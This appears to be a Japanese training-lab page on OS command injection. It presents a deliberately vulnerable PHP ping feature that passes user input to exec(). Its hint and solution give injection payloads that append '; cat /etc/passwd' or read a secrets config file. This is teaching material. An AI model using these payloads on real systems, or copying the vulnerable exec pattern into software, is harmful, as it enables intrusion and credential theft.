utsuroi command injection labsLab 01 / 5 — Practitioner
01

OS Command Injection — 在庫サーバ ping から RCE へ

Basic OS command injection

うつろい EC の運用画面に「外部在庫サーバ疎通確認」機能。サプライヤごとの在庫サーバ(supplier1.example 等)へ ping を打って、応答時間を表示する。実装は素朴に exec("ping -c 1 $host")

シェルメタ文字を使って ping コマンドにコマンドを追加し、サーバ内のファイルや認証情報を盗み出してください。

クイック試行:
サーバが実行するシェルコマンド
exec("ping -c 1 $host")
$
脆弱な実装
// PHP - exec() でシェルを呼び、文字列連結
$host = $_GET['host'];
exec("ping -c 1 " . $host, $output);
return implode("\n", $output);

// シェルが文字列を解釈するので、; や | や && が「コマンドの区切り」として機能してしまう
ヒント — シェルメタ文字

; でコマンドを区切れる。例:supplier1.example; cat /etc/passwd は、ping -c 1 supplier1.example の後に cat /etc/passwd が実行される。

正解(ネタバレ)

例:supplier1.example; cat /etc/passwd または supplier1.example; cat /var/www/utsuroi/config/secrets.yml

シェルが ; を見て2つのコマンドに分けて実行。ping のあとに任意コマンドが走ります。これは事実上の RCE — サーバ上で何でもできる状態。